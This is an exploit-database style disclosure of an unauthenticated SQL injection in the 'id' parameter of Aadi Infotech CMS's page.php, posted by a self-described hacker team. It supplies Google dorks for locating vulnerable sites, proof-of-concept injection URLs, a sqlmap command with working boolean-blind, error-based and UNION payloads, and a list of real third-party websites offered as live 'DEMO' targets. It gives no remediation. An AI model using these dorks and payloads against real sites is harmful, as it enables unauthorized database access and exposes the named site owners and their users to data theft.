facebook facebook twitter rss

Aadi Infotech CMS - (page.php) SQL Injection Vulnerability

Author: Shelesh Rauthan , Published: 28-06-2015
=========================================================
[+] Title :- Aadi Infotech CMS - (page.php) SQL Injection Vulnerability
[+] Date :- 28 - June - 2015
[+] Vendor Homepage :- www.aadiinfotech.in
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Developed by: Aadi Infotech"
"Developed by: Aadi Infotech" inurl:"php?id="
"Developed by: Aadi Infotech" +inurl:/.php?id=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com


=========================================================
[+] Severity Level :- High

[+] Request Method(s) :- GET / POST

[+] Vulnerable Parameter(s) :- id

[+] Affected Area(s) :- Entire admin, database, Server

[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error

[+] SQL vulnerable File :- home/DOMAIN/public_html/page.php

[+] POC :- http://127.0.0.1/page.php?id=[SQL]'

The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.

PoC:
http://www.[WEBSITE].com/page.php?id=5' union all select [SQL INJECTION]--+
http://www.[WEBSITE].com/page.php?id=5' union all select [SQL INJECTION]--+

SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/index.php?id=[SQL]" --dbs
++++++++++++++++++++++++++
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=6' RLIKE (SELECT (CASE WHEN (9256=9256) THEN 6 ELSE 0x28 END)) AND 'fKCZ'='fKCZ

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=6' AND (SELECT 6242 FROM(SELECT COUNT(*),CONCAT(0x7171717071,(SELECT (ELT(6242=6242,1))),0x7178767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Ksga'='Ksga

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=6' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717071,0x4370484b544967644e70,0x7178767071),NULL--
---


[+] DEMO :- http://www.rakeshandco.com/page.php?id=5%27
http://www.nsgcorporates.com/page.php?id=2%27
http://www.ca-nbc.com/page.php?id=4%27
http://www.rgacindia.com/page.php?id=5%27
http://kitba.in/presedent_desk_details.php?id=6%27
http://www.sanjaydodrajka.com/page.php?id=6%27
http://www.aadiinfotech.in/page.php?id=1%27

=======================================================

Like us on Facebook :